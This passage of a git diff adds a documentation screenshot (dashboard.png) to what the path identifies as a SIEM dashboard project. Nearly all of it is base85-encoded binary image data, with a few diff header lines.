zlYBJGtomr?k!bS$4?GI_+KOJ*k%zKZRf?H!TT*GbrKGZ9V#WoM(2q%{px=2lmOI*)~N?S7e>pz-6AX>xP5VuG?WhRnk=(XKiNJv&N?v U^gW1!^(LmG_o^u+E9hSRU#bi7Z~y=R literal 0 HcmV?d00001 diff --git a/PROJECTS/intermediate/siem-dashboard/docs/images/dashboard.png b/PROJECTS/intermediate/siem-dashboard/docs/images/dashboard.png new file mode 100644 index 0000000000000000000000000000000000000000..9f67bf2412be2fca2e02e07bef118b6d56b55e7f GIT binary patch literal 135064 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�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

    ;qP#Wv> zS~E^zOp_PDk9hJF+@+|-5zjAMqd(QfGvekJ7m0dFcuO!mvo2aAUx?5G(71JjPayQA z$-e5i!%aN;HAnG62{?%D_rB@ff`mbI&9HU?0)0jYMeA?(J>eRUYPyLuaN$#^98iof zSmmp#>;6seCo$zvV8p$LlClJH2p;446UMN}JEQGOiyf=IP|(oGV8a!GeSMARSunji z?hf7kaz-t2%q-Loukyb*W!uW;NIIAMyHy8lksi1=*Dul>}Ct%&= z@FVaRG?O%Nbd%;I6Mj(-_Qqk9&rlTpvIouc{FV@o;LWaVHNC4>5ZRuE%AV_0g`KZh!6A$@jaQ z4(X)Kf6#bwp2DR_KRM7Cy32NYA+`BC$M#5);8}=2fCzHNi>YyB4%nq4*dU{0u9JBF zol>HDCGNzj{o6%n*g^=c5FNltOqG4nIgN&H<5nRXr`5#{KI`HAApE=V))!PgakTJR{KeJ(|xpaIndw7&B7rHoTf?1iSPi$Tqtg~7Oun>P8V_B};k zehMlrTr&g+M0@}vVLFd+#FOZ?WpN>O#R?X+?V_S8hgQw9h2ae`kH^KOc-{UItf~>v zA_s3AGI3E)Bpy{Mme{xf&m$S|3J`odjKK2~yvq&TImndl5LZJZXy=8_EyiVJVrq(z zff1);_|R?~8{^sa0d22x^Ijw-vg3I^IJUdY|L7#`8Hd%+zOXF 